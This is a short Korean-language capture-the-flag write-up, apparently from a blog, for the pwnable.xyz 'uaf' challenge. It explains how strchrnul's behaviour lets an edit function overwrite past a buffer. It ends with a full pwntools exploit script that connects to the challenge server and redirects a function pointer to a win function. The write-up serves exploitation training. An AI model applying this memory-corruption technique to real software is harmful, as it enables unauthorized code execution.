반응형
문제 풀이 환경 : Ubuntu 16.04
낚였다. 별거 없는 문제다.
📝 Analysis
<< Mitigation >>
<< Code >>
· edit_char
핵심 함수인데 문제 이름 때문에 다른 데에서 헤맬 수 있다.
strchrnul 함수가 오늘의 주인공이다.
이 함수의 기능은??
요약: 찾는 문자가 없으면 문자열의 제일 끝을 리턴한다.
✨ Thinking
처음에는 문제 이름 때문에 힙 문제인줄 알고 열심히 분석하다가 문득 떠오른게 edit 함수 기능 이용하면 뒤로 다 덮을 수 있겠네? 싶어서 바로 해봤다.
제대로 낚였다. ㅋㅋ
🧩 Exploit Scenario
1. save 함수로 0x80 만큼 덮어준다. (처음에 주는 길이는 0x7F라서 아래에서 서술할 편안한 익스를 위해 한 번 불러준다.)
2. 왼쪽 0x41414141 밑줄 그어진 곳은 원래 0x00이었지만 이걸 edit 함수로 없는 걸 줘서 문자열의 마지막으로 오게 한다. 그리고 저 2Byte를 win의 함수로 덮어준다.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# p = process('./uaf')
p = remote('svc.pwnable.xyz', 30015)
e = ELF('./uaf')
def save(name):
p.sendlineafter('> ', '2')
p.sendafter('name: ', name)
def change_char(before, after):
p.sendlineafter('> ', '5')
p.sendlineafter('replace: ', before)
p.sendlineafter('char: ', after)
p.sendlineafter('Name: ', 'karatus')
save('A' * 0x80)
for _ in range(4):
change_char('\xff', '\x41')
change_char('\x6b', '\xf3')
change_char('\x0d', '\x0c')
p.sendlineafter('> ', '1')
p.interactive()
반응형